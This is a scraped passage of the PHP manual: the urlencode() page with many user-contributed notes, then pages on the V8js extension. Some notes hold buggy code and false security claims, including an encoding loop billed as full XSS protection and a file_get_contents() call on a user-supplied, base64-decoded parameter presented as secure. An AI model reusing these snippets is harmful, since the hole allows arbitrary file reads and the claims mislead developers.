echo '<a href="mycgi?' . htmlentities($query_string) . '">';
?>

Notes

Note:

Be careful about variables that may match HTML entities. Things like &amp, &copy and &pound are parsed by the browser and the actual entity is used instead of the desired variable name. This is an obvious hassle that the W3C has been telling people about for years. The reference is here: » http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2.

PHP supports changing the argument separator to the W3C-suggested semi-colon through the arg_separator .ini directive. Unfortunately most user agents do not send form data in this semi-colon separated format. A more portable way around this is to use &amp; instead of & as the separator. You don't need to change PHP's arg_separator for this. Leave it as &, but simply encode your URLs using htmlentities() or htmlspecialchars().

See Also

  • urldecode() - Decodes URL-encoded string
  • htmlentities() - Convert all applicable characters to HTML entities
  • rawurlencode() - URL-encode according to RFC 3986
  • rawurldecode() - Decode URL-encoded strings
  • » RFC 3986

User Contributed Notes

sroolig at gmail dot com 09-Jun-2011 01:40
I write this code, to full protect from XSS:

<?php
   $url = "";
   for($i = 0; $i < strlen($value); $i++)
    $url .= strpos("/:@&%=?.#", $value[$i]) === False ? urlencode($value[$i]) : $value[$i];
   $value = $url;
?>
php at rijkvanwel dot nl 07-Apr-2011 12:07
If you want to encode an array or object to URL, just use the built in http_build_query() function:

<?php
$params = array( 'one' => 1, 'two' => 2 );
echo 'index.php?' . http_build_query( $params ); // index.php?one=1&two=2
?>
Whitenis 13-Nov-2010 06:54
To encode using RFC3986, use rawurlencode.
tk at example dot com 20-May-2010 12:43
To easily encode an array to an url :
<?php
$y= ("I"=>"like","she"=>"likes");
array_walk($y , create_function('&$v,$k', '$v = $k."=".$v ;'));
"index.php?".htmlentities(urlencode(implode("&",$y)), ENT_QUOTES);
?>
returns :
"index.php?I=like&amp;she=likes"
=)
davis dot peixoto at gmail dot com 18-May-2010 06:53
urlencode function and rawurlencode are mostly based on RFC 1738.

However, since 2005 the current RFC in use for URIs standard is RFC 3986.

Here is a function to encode URLs according to RFC 3986.

<?php
function myUrlEncode($string) {
    $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');
    $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]");
    return str_replace($entities, $replacements, urlencode($string));
}
?>
frx dot apps at gmail dot com 07-Apr-2010 08:48
I wrote this simple function that creates a GET query (for URLS) from an array:

<?php
function encode_array($args)
{
  if(!is_array($args)) return false;
  $c = 0;
  $out = '';
  foreach($args as $name => $value)
  {
    if($c++ != 0) $out .= '&';
    $out .= urlencode("$name").'=';
    if(is_array($value))
    {
      $out .= urlencode(serialize($value));
    }else{
      $out .= urlencode("$value");
    }
  }
  return $out . "\n";
}
?>

If there are arrays within the $args array, they will be serialized before being urlencoded.

Some examples:
<?php
echo encode_array(array('foo' => 'bar'));                    // foo=bar
echo encode_array(array('foo&bar' => 'some=weird/value'));   // foo%26bar=some%3Dweird%2Fvalue
echo encode_array(array('foo' => 1, 'bar' =>  'two'));       // foo=1&bar=two
echo encode_array(array('args' => array('key' => 'value'))); // args=a%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22value%22%3B%7D
?>
omid at omidsakhi dot com 24-Feb-2010 11:17
I needed a function in PHP to do the same job as the complete escape function in Javascript. It took me some time not to find it. But findaly I decided to write my own code. So just to save time:

<?php
function fullescape($in)
{
  $out = '';
  for ($i=0;$i<strlen($in);$i++)
  {
    $hex = dechex(ord($in[$i]));
    if ($hex=='')
       $out = $out.urlencode($in[$i]);
    else
       $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
  }
  $out = str_replace('+','%20',$out);
  $out = str_replace('_','%5F',$out);
  $out = str_replace('.','%2E',$out);
  $out = str_replace('-','%2D',$out);
  return $out;
 }
?>

It can be fully decoded using the unscape function in Javascript.
liorbenkereth at gmail dot com 17-Feb-2010 07:13
if one wants to encode a url that contains unicode characters, he can se this code:

<?php
function encode_full_url(&$url)
{
    $url = urlencode($url);
    $url = str_replace("%2F", "/", $url);
    $url = str_replace("%3A", ":", $url);
    return $url;
}
?>

a little stupid, but gets the work done.
temu92 at gmail dot com 23-Jul-2009 10:44
I needed encoding and decoding for UTF8 urls, I came up with these very simple fuctions. Hope this helps!

<?php
    function url_encode($string){
        return urlencode(utf8_encode($string));
    }

    function url_decode($string){
        return utf8_decode(urldecode($string));
    }
?>
daniel+php at danielnorton dot com 29-Jun-2009 07:24
Don't use urlencode() or urldecode() if the text includes an email address, as it destroys the "+" character, a perfectly valid email address character.

Unless you're certain that you won't be encoding email addresses AND you need the readability provided by the non-standard "+" usage, instead always use use rawurlencode() or rawurldecode().
Anonymous 19-Feb-2009 05:32
What about this one? A bit more complex but very practically,...

<?php
static function urlencode($url)
{
        // safely cast back already encoded "&" within the query
        $url = str_replace( "&amp;","&",$url );
        $phpsep = (strlen(ini_get('arg_separator.input')>0))
?ini_get('arg_separator.output')
:"&";
        // cut optionally anchor
        $ancpos = strrpos($url,"#");
        $lasteq = strrpos($url,"=");
        $lastsep = strrpos($url,"&");
        $lastqsep = strrpos($url,"?");
        $firstsep = strpos($url, "?");
        // recognize wrong positioned anchor example.php#anchor?asdasd
        if ($ancpos !== false
        || ($ancpos > 0
            && ($lasteq > 0 && $lasteq < $ancpos )
            && ($lastsep > 0 && $lastsep < $ancpos )
            && ($lastqsep > 0 && $lastqsep < $ancpos )
            )
        )
        {
               $anc = "#" . urlencode( substr( $url,$ancpos+1 ) );
               $url = substr( $url,0,$ancpos );
        }
        else
        {
            $anc = "";
        }
        // separate uri and query string
        if ($firstsep == false)
        {
            $qry = "";    // no query
            $urlenc = $url.$anc;  // anchor
        }
        else
        {
            $qry = substr( $url, $firstsep + 1 ) ;
            $vals = explode( "&", $qry );
            $valsenc = array();
            foreach( $vals as $v )
            {
                $buf = explode( "=", $v );
                $buf[0]=urlencode($buf[0]);
                $buf[1]=urlencode($buf[1]);
                $valsenc[] = implode("=",$buf);
            }
            $urlenc = substr( $url, 0 , $firstsep  );    // encoded origin uri
            $urlenc.= "?" . implode($phpsep, $valsenc )    // encoded query string
            . $anc; // anchor
        }
        $urlenc = htmlentities( $urlenc, ENT_QUOTES );
        return $urlenc;
}
?>
dominik dot hofer at gmx dot net 04-Feb-2009 05:31
I read a UTF-8 encoded string form a mysql database and wanted to use it as a parameter for
a javascript function which opens a popup window (the HTML site also encoded as UTF-8).
Somehow I had serious trouble with strings containing special characters like ' and especially german umlaute.
When using urlencode(), the umlaute weren't correctly displayed in the popup with IE.
I tried many variations with urlencode(), rawurlencode(), addslashes(), ...,
but none of them was working in all browsers (Safari, FF, IE).

If someone is experiencing the same problem:
Here is the code I got it finally working with very well in all browsers...

<?php
echo '<a href="javascript: popup_textanswer(\''.
htmlentities(addslashes($act_question['questiontext']),
ENT_QUOTES,'UTF-8').
'\');">question</a>';
?>

the javascript function:

<?php // actually javascript
function popup_textanswer(questiontext) {
    var win = window.open('popup.php?id=1&questiontext=' +
questiontext, 'popup', 'width=600,height=400');
    win.focus();
}
?>
Mark Seecof 23-Sep-2008 04:34
When using XMLHttpRequest or another AJAX technique to submit data to a PHP script using GET (or POST with content-type header set to 'x-www-form-urlencoded') you must urlencode your data before you upload it.  (In fact, if you don't urlencode POST data MS Internet Explorer may pop a "syntax error" dialog when you call XMLHttpRequest.send().)  But, you can't call PHP's urlencode() function in Javascript!  In fact, NO native Javascript function will urlencode data correctly for form submission.  So here is a function to do the job fairly efficiently:

<?php /******

<script type="text/javascript" language="javascript1.6">
 // PHP-compatible urlencode() for Javascript
 function urlencode(s) {
  s = encodeURIComponent(s);
  return s.replace(/~/g,'%7E').replace(/%20/g,'+');
 }

 // sample usage:  suppose form has text input fields for
 // country, postcode, and city with id='country' and so-on.
 // We'll use GET to send values of country and postcode
 // to "city_lookup.php" asynchronously, then update city
 // field in form with the reply (from database lookup)

 function lookup_city() {
  var elm_country = document.getElementById('country');
  var elm_zip = document.getElementById('postcode');
  var elm_city = document.getElementById('city');
  var qry = '?country=' + urlencode(elm_country.value) +
                '&postcode=' + urlencode(elm_zip.value);
  var xhr;
  try {
   xhr = new XMLHttpRequest(); // recent browsers
  } catch (e) {
   alert('No XMLHttpRequest!');
   return;
  }
  xhr.open('GET',('city_lookup.php'+qry),true);
  xhr.onreadystatechange = function(){
    if ((xhr.readyState != 4) || (xhr.status != 200)) return;
    elm_city.value = xhr.responseText;
  }
  xhr.send(null);
 }
</script>

******/ ?>
todd at amiestreet dot com 18-Sep-2008 10:31
Regarding issues with %2Fs for slashes in encoded URLs, you simply need to enable the AllowEncodedSlashes directive in Apache:

http://httpd.apache.org/docs/2.2/mod/core.html#allowencodedslashes

Hope that helps
root at jusme dot org 12-Aug-2008 05:12
I'm running PHP version 5.0.5 and urlencode() doesn't seem to encode the "#" character, although the function's description says it encodes "all non-alphanumeric" characters. This was a particular problem for me when trying to open local files with a "#" in the filename as Firefox will interpret this as an anchor target (for better or worse). It seems a manual str_replace is required unless this was fixed in a future PHP version.

Example:

$str = str_replace("#", "%23", $str);
php dot net at unixen dot dk 15-Jun-2008 12:53
>> Hi muthuishere , i saw your excellent contribution, but couldnt make it work, so i corrected some bits and pieces and had the following done:

<?php
function SmartUrlEncode($url){
    if (strpos($url, '=') === false):
        return $url;
    else:
        $startpos = strpos($url, "?");
        $tmpurl=substr($url, 0 , $startpos+1) ;
        $qryStr=substr($url, $startpos+1 ) ;
         $qryvalues=explode("&", $qryStr);
          foreach($qryvalues as $value):
              $buffer=explode("=", $value);
            $buffer[1]=urlencode($buffer[1]);
           endforeach;
          $finalqrystr=implode("&amp;", &$qryvalues);
        $finalURL=$tmpurl . $finalqrystr;
        return $finalURL;
    endif;
}
?>

As you see its very much yours, modfied primarily using '&amp;' instead of '&', and ofcourse an if test to see if anything in input is to be cursed... Thanks for great function !
muthuishere at gmail dot com 07-Jun-2008 09:50
Most of us may need a function

 if they have entire URL but you need to be encoding only the query values  , not the URL and not the parameters

The below function takes an URL as input and applies url encoding only to the parameter values

/******************************************

For eg www.google.com/?q=alka rani&start=100

urlencode
   ==>  www.google.com/search?q=alka+rani&start=100

if you change it to rawurlencode
  ==>  www.google.com/search?q=alka%20rani&start=100

**************************************/
function SmartUrlEncode($url){

//Extract the Querystr pos after ? mark
$startpos = stripos($url, "?");

//Extract the URl alone
$tmpurl=substr($url, 0 , $startpos+1) ;
//echo $tmpurl . "<br>";

//Extract the Querystr alone
$qryStr=substr($url, $startpos+1 ) ;

//echo $qryStr . "<br>";

//Split the querystring into & pairs
 $qryvalues=explode("&", $qryStr);

  foreach($qryvalues as  &$value)
  {
    //Split the single data into two i.e data   |  value

      $buffer=explode("=", $value);

    // Urlencode only the value now , Change it to rawurlencode if necessary
    $buffer[1]=urlencode($buffer[1]);

    //Join values back in the array
    $value = implode("=", $tmp);

  }
  //Output Querystr ,Join all the pairs with &
  $finalqrystr=implode("&", $qryvalues);
//  echo $finalqrystr . "<br>";

$finalURL=$tmpurl . $finalqrystr;

//echo $finalURL . "<br>";

return finalURL;
}

}
simon dot rupf at int-ag dot ch 12-Apr-2008 03:20
Kerdster's function works like a charm. It has only a minor beauty flaw in my humble opinion: It encodes every character, even the plain ascii ones. This just doesn't like nice in the browsers address bar. ;-)

Inspired by Mkaganer's utf8_urldecode example in urldecode comments here's the enhanced code:

<?php
    function utf16_urlencode ( $str ) {
        # convert characters > 255 into HTML entities
        $convmap = array( 0xFF, 0x2FFFF, 0, 0xFFFF );
        $str = mb_encode_numericentity( $str, $convmap, "UTF-8");

        # escape HTML entities, so they are not urlencoded
        $str = preg_replace( '/&#([0-9a-fA-F]{2,5});/i', 'mark\\1mark', $str );
        $str = urlencode($str);

        # now convert escaped entities into unicode url syntax
        $str = preg_replace( '/mark([0-9a-fA-F]{2,5})mark/i', '%u\\1', $str );
        return $str;
    }
?>

Probably the above code could be optimized further, comments are highly appreciated!

Thanks, Simon
kerdster at gmail dot com 28-Feb-2008 04:02
> php dot net at samokhvalov dot com
 > 12-Dec-2006 09:49

Thanx for idea!
I have wrote more simple function based on your function to simulate JS function escape (); It uses mb_string functions unstead of iconv.

<?php
function utf16urlencode($str)
{
    $str = mb_convert_encoding($str, 'UTF-16', 'UTF-8');
    $out = '';
    for ($i = 0; $i < mb_strlen($str, 'UTF-16'); $i++)
    {
        $out .= '%u'.bin2hex(mb_substr($str, $i, 1, 'UTF-16'));
    }
    return $out;
}
?>
rezamilanx at yahoo 10-Feb-2008 01:34
Some people have difficulties with all urlencode and so on solutions. So I decided to solve using base64_encode several times for more security from this way:

//- First page:
<?
$url='mypage.php';
?>
<a href="index.php?page=<? echo encode($url,5); ?>">My page</a>

//- Second page:
<?
$mypage=$_GET['page'];
$mypage=decode($mypage,5);
echo file_get_contents($mypage);
?>

*file_get_contents could not run your php scripts see same function
-----------
function encode($ss,$ntime){
    for($i=0;$i<$ntime;$i++){
        $ss=base64_encode($ss);
    }
retrun $ss;
}

function decode($ss,$ntime){
    for($i=0;$i<$ntime;$i++){
        $ss=base64_decode($ss);
    }
retrun $ss;
}
randallgirard at hotmail dot com 07-Feb-2008 04:49
As a reply to: mmj48.com

Your method of replacing just the slash would be BAD practice... UNLESS, it was used STRICTLY on the PATH part of the URL.

You must account for the URLQUERIES, but also the scheme, user, password, and fragment characters (:, /, &, #, etc)
However, these may change depending on the environment (mainly refering to the &, query var separator)

Escaping each of these would also be a bad practice, and impractical. Rather, build a class / tool which will generate your URL's, and render escapes. You could also use the PHP routine: parse_url() for some interesting results.
Thomas 05-Sep-2007 02:30
Reply to 'peter at mailinator dot com'

If you are having problems using urldecode in PHP following the escape() function in Javascript, try to do a decodeURI() before the escape(). This fixed it for me at least.

Thomas
mmj48.com 07-Aug-2007 08:28
What I use instead:

<?php
function escape($url)
{
    return str_replace("%2F", "/", urlencode($url));
}
?>
ahrensberg at gmail dot com 04-Aug-2007 05:04
Like "Benjamin dot Bruno at web dot de" earlier has writen, you can have problems with encode strings with special characters to flash. Benjamin write that:

<?php
   function flash_encode ($input)
   {
      return rawurlencode(utf8_encode($input));
   }
?>

... could do the problem. Unfortunately flash still have problems with read some quotations, but with this one:

<?php
   function flash_encode($string)
   {
      $string = rawurlencode(utf8_encode($string));

      $string = str_replace("%C2%96", "-", $string);
      $string = str_replace("%C2%91", "%27", $string);
      $string = str_replace("%C2%92", "%27", $string);
      $string = str_replace("%C2%82", "%27", $string);
      $string = str_replace("%C2%93", "%22", $string);
      $string = str_replace("%C2%94", "%22", $string);
      $string = str_replace("%C2%84", "%22", $string);
      $string = str_replace("%C2%8B", "%C2%AB", $string);
      $string = str_replace("%C2%9B", "%C2%BB", $string);

      return $string;
   }
?>

... should solve this problem.
mensonge 26-Jul-2007 06:29
I had difficulties with all above solutions. So I applied a dirty simple solution by using:

base64_encode($param)
and
base64_decode($param)

The string's length is a bit longer but no more problem with encoding.
sebastiaan at netomzet dot nl 05-Mar-2007 09:04
quote: "Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602"

The most simple solution is to use urlencode twice!

echo urlencode(urlencode($var));

Apache's mod_rewrite will handle it like a normal string using urlencode once.
in reply to "kL" 20-Feb-2007 01:23
kL's example is very bugged since it loops itself and the encode function is two-way.

Why do you replace all %27 through '  in the same string in that you replace all ' through %27?

Lets say I have a string: Hello %27World%27. It's a nice day.
I get: Hello Hello 'World'. It%27s a nice day.

With other words that solution is pretty useless.

Solution:
Just replace ' through %27 when encoding
Just replace %27 through ' when decoding. Or just use url_decode.
rm<at>mindbench<dot>nl 14-Feb-2007 05:32
Another thing to keep in mind is that urlencode is not unicode.

For example, urlencoding enquête from an UTF-8 project will produce enqu%C3%AAte.

However, urlencode(utf8_decode('enquête')) produces enqu%EAte, like expected.
php dot net at samokhvalov dot com 12-Dec-2006 05:18
Addition to the previous note:

to make it work on *nix systems (where big-endian byte order in UTF-16 is being used, in contrast to WIN32) add following lines right after the second iconv():

            if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
                $b = $a;
                $a[1] = $b[0];
                $a[0] = $b[1];
            }
php dot net at samokhvalov dot com 12-Dec-2006 10:49
In AJAX era you might need to use UCS-2 (UTF-16) url-encoding (chars represented in form '%uXXXX' - e.g. '%u043e' for Russian 'o'). But PHP is weak in working with multibyte encoded strings, so you cannot simply use urlencode() for the string in UCS-2. Here is simple function serving for this purpose.

Note, that this function takes UTF8-encoded string as input and, then, for internal purposes use some 1-byte encoding (cp1251 in my case). If you have the string in some 1-byte encoding, you may remove the first iconv() and modify the second one and thus slightly simplify the function.

function utf16urlencode($str)
{
    $str = iconv("utf-8", "cp1251", $str);
    $res = "";
    for ($i = 0; $i < strlen($str); $i++) {
        $res .= "%u";
        $a = iconv("cp1251", "ucs-2", $str[$i]);
        for ($j = 0; $j < strlen($a); $j++) {
            $n = dechex(ord($a[$j]));
            if (strlen($n) == 1) {
                $n = "0$n";
            }
            $res .= $n;
        }
    }
    return $res;
}
Benjamin dot Bruno at web dot de 03-Oct-2006 09:54
If you need to prepare strings with special characters (like German Umlaut characters) in order to import them into flash files via GET, try using utf8_encode and rawurlencode sequentially, like this:

<?php
function flash_encode ($input) {
  return rawurlencode(utf8_encode($input));
}
?>

Thus, you can avoid having use encodeURI in JavaScript, which is only availabe in JavaScript 1.5.
kL 06-Sep-2006 05:13
Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602

If you need to use any of these modules and handle paths that contain %2F or %3A (and few other encoded special url characters), you'll have use a different encoding scheme.

My solution is to replace "%" with "'".
<?php
function urlencode($u)
{
    return str_replace(array("'",'%'),array('%27',"'"),urlencode($u));
}

function urldecode($u)
{
    return urldecode(strtr($u,"'",'%'));
}
?>
peter at runempire dot com 06-Aug-2006 02:09
I think this was mentioned earlier but it was confusing.. But I had some problems with the urlencode eating my '/' so I did a simple str_replace like the following:

$url = urlencode($img);
$img2 = "$url";
$img2 = str_replace('%2F54', '/', $img2);
$img2 = str_replace('+' , '%20' , $img2);

You don't need to replace the '+' but I just feel comfortable with my %20, although it may present a problem if whatever you're using the str_replace for has a '+' in it where it shouldn't be.

But that fixed my problem.. all the other encodes like htmlentities and rawurlencode just ate my /'s
peter at mailinator dot com 21-Jul-2006 11:11
Be carefull when using this function with JavaScript escape function.

In JavaScript when you try to encode utf-8 data with escape function you will get some strange encoded string which you wont be able to decode with php url(de)encode funtions.

I found a website which has some very good tool regarding this problem: http://www.webtoolkit.info/

It has components which deal with url (en)decode.
Roamy: info AT roamy DOT de 28-Jan-2006 11:58
<?// urlencode + urldecode 4 Linux/Unix-Servers:=============
//==================================================
//=====This small script matches all encoded String for ========
//=====Linux/Unix-Servers For IIS it got to be  The Other Way  ==
//===== around...and remember in a propper Url =============
//===== there shoudn't be the 'dirty Letter': %C3==============
//==================================================
function int2hex($intega){
    $Ziffer = "0123456789ABCDEF";
return $Ziffer[($intega%256)/16].$Ziffer[$intega%16];
}
function url_decode($text){
    if(!strpos($text,"%C3"))
        for($i=129;$i<255;$i++){
            $in = "%".int2hex($i);
            $out = "%C3%".int2hex($i-64);
            $text = str_replace($in,$out,$text);
        }
return urldecode($text);
}
function url_encode($text){
    $text = urlencode($text);
    if(!strpos($text,"%C3"))
        for($i=129;$i<255;$i++){
            $in = "%".int2hex($i);
            $out = "%C3%".int2hex($i-64);
            $text = str_replace($in,$out,$text);
        }
return $text;
}//==================================================
?>
torecs at sfe dot uio dot no 10-Jan-2006 03:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
      $querystring=null;
    foreach ($params as $name => $value)
    {
      $querystring=$name.'='.urlencode($value).'&'.$querystring;
    }
      // Cut the last '&'
      $querystring=substr($querystring,0,strlen($querystring)-1);
      return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
roberlamerma at gmail dot com 22-Nov-2005 07:00
I rewrote inus at flowingcreativity dot net function to generate an encoded url string from the POST, or GET array. It handles properly POST/GET array vars.

function _HTTPRequestToString($arr_request, $var_name, $separator='&') {
    $ret = "";
    if (is_array($arr_request)) {
        foreach ($arr_request as $key => $value) {
            if (is_array($value)) {
                if ($var_name) {
                    $ret .= $this->_HTTPRequestToString($value, "{$var_name}[{$key}]", $separator);
                } else {
                    $ret .= $this->_HTTPRequestToString($value, "{$key}", $separator);
                }
            } else {
                if ($var_name) {
                    $ret .= "{$var_name}[{$key}]=".urlencode($value)."&";
                } else {
                    $ret .= "{$key}=".urlencode($value)."&";
                }
            }
        }
    }
    if (!$var_name) {
        $ret = substr($ret,0,-1);
    }
    return $ret;
}
Chris 31-Oct-2005 08:54
Just remember that according to W3C standards, you must rawurlencode() the link that's provided at the end of a mailto.

i.e.
<a href="mailto:jdoe@some.where.com?Subject=Simple testing(s)&bcc=jane@some.where.com">Mail Me</a>

Needs to be escaped (which rawurlencode() does for us).
The colon is OK after "mailto", as is the "@" after the e-mail name.
However, the rest of the URL needs to be encoded, replacing the following:
'?' => %3F
'=' => %3D
' ' => %20
'(' => %28
')' => %29
'&' => %26
'@' => %40 (note this one is in 'jane@some.where.com'

I tried to post the note with the correct text (that is the characters replaced in the note), but it said that there was a line that was too long, and so wouldn't let me add the note.

As a secondary note, I noticed that the auto-conversion routines at this site itself stopped the link at the space after "Simple testing(s)' in the first entry shown above.
bisqwit at iki dot fi 02-Sep-2005 01:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer 26-Aug-2005 01:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
Bachsau 12-Aug-2005 10:24
Diferrent from the above example you do not have to encode URLs in hrefs with this. The browser does it automaticaly, so you just have to encode it with htmlentities() ;)
linus at flowingcreativity dot net 04-Jul-2005 09:14
I just came across the need for a function that exports an array into a query string. Being able to use urlencode($theArray) would be nice, but here's what I came up with:

<?php

function urlencode_array(
    $var,                // the array value
    $varName,            // variable name to be used in the query string
    $separator = '&'    // what separating character to use in the query string
) {
    $toImplode = array();
    foreach ($var as $key => $value) {
        if (is_array($value)) {
            $toImplode[] = urlencode_array($value, "{$varName}[{$key}]", $separator);
        } else {
            $toImplode[] = "{$varName}[{$key}]=".urlencode($value);
        }
    }
    return implode($separator, $toImplode);
}

?>

This function supports n-dimensional arrays (it encodes recursively).
edwardzyang at thewritingpot dot com 15-Apr-2005 01:48
I was testing my input sanitation with some strange character entities. Ones like � and � were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
Timwi 17-Feb-2005 03:49
The information on this page is misleading in that you might think the ampersand (&) will only need to be escaped as &amp; when there is ambiguity with an existing character entity. This is false; the W3C page linked to from here clarifies that the ampersands must ALWAYS be escaped.

The following:

  <a href='/script.php?variable1=value1&variable2=value2'>Link</a>

is INVALID HTML. It needs to be written as:

  <a href='/script.php?variable1=value1&amp;variable2=value2'>Link</a>

in order for the link to go to:

  /script.php?variable1=value1&variable2=value2

I applaud the W3C's recommendation to use semicolons (';') instead of the ampersands, but it doesn't really change the fact that you still need to HTML-escape the value of all your HTML tag attributes. The following:

  <span title='Rose & Mary'>Some text</span>

is also INVALID HTML. It needs to be escaped as:

  <span title='Rose &amp; Mary'>Some text</span>
george at ishop dot com 04-Nov-2004 01:35
---[ Editor's Note ]---
You can also use rawurlencode() here, and skip the functions provided in this note.
---[ /Editor's Nore]---

For handling slashes in redirections, (see comment from cameron at enprises dot com), try this :

function myurlencode ( $TheVal )
{
 return urlencode (str_replace("/","%2f",$TheVal));
}

function myurldecode ( $TheVal )
{
 return str_replace("%2f","/",urldecode ($TheVal));
}

This is effectively a double urlencode for slashes and single urlencode for everything else.  So, it is more "standardised" than his suggestion of using a + sign, and more readable (and search engine indexable) than a full double encode/decode.
neugey at cox dot net 17-Sep-2004 01:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com 09-Sep-2004 01:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4
issue9mm at leafapplication dot com 07-Oct-2002 06:53
Just a simple comment, really, but if you need to encode apostrophes, you should be using rawurlencode as opposed to just urlencode.

Naturally, I figured that out the hard way.
urldecode
V8js
URL Functions


V8 Javascript Engine Integration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • V8Js — The V8Js class
    • V8Js::__construct — Construct a new V8Js object
    • V8Js::executeString — Execute a string as Javascript code
    • V8Js::getExtensions — Return an array of registered extensions
    • V8Js::getPendingException — Return pending uncaught Javascript exception
    • V8Js::registerExtension — Register Javascript extensions for V8Js
  • V8JsException — The V8JsException class
    • V8JsException::getJsFileName — The getJsFileName purpose
    • V8JsException::getJsLineNumber — The getJsLineNumber purpose
    • V8JsException::getJsSourceLine — The getJsSourceLine purpose
    • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.
urlencode
Introduction
Other Basic Extensions


Introduction

This extension embeds the » V8 Javascript Engine into PHP.

User Contributed Notes

There are no user contributed notes for this page.
V8js
Installing/Configuring
V8js


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
V8js


Requirements

PHP 5.3.3+ and V8 library and headers installed in proper paths.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/v8js

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

V8js Configure Options
Name | Default | Changeable | Changelog
v8js.max_disposed_contexts | 25 | PHP_INI_ALL |
v8js.flags |  | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

v8js.max_disposed_contexts integer

Sets limit for disposed contexts before forcing V8 to do garbage collection.

v8js.flags string

Sets V8 command line flags. The list of available flags can be obtained in CLI mode by setting this parameter to --help. Example:

$ php -r 'ini_set("v8js.flags", "--help"); new V8Js;' | less

Note:

For these flags to be effective in runtime the ini_set() call has to be done before any V8Js objects are instantiated!

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Examples

Basic usage

Example #1 Basic Javascript execution

<?php

$v8 = new V8Js();

/* basic.js */
$JS = <<< EOT
len = print('Hello' + ' ' + 'World!' + "\\n");
len;
EOT;

try {
  var_dump($v8->executeString($JS, 'basic.js'));
} catch (V8JsException $e) {
  var_dump($e);
}

?>

The above example will output:

Hello World!
int(13)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
V8Js
V8js


The V8Js class

(No version information available, might only be in SVN)

Introduction

This is the core class for V8Js extension. Each instance created from this class has own context in which all Javascript is compiled and executed.

See V8Js::__construct() for more information.

Class synopsis

V8Js {
/* Constants */
const string V8_VERSION ;
const integer FLAG_NONE = 1 ;
const integer FLAG_FORCE_ARRAY = 2 ;
/* Methods */
public __construct ([ string $object_name = "PHP" [, array $variables = array() [, array $extensions = array() [, bool $report_uncaught_exceptions = TRUE ]]]] )
public mixed executeString ( string $script [, string $identifier = "V8Js::executeString()" [, int $flags = V8Js::FLAG_NONE ]] )
public static array getExtensions ( void )
public V8JsException getPendingException ( void )
public static bool registerExtension ( string $extension_name , string $script [, array $dependencies = array() [, bool $auto_enable = FALSE ]] )
}

Predefined Constants

V8Js::V8_VERSION

The V8 Javascript Engine version.

V8Js::FLAG_NONE

No flags.

V8Js::FLAG_FORCE_ARRAY

Forces all JS objects to be associative arrays in PHP.

Table of Contents

  • V8Js::__construct — Construct a new V8Js object
  • V8Js::executeString — Execute a string as Javascript code
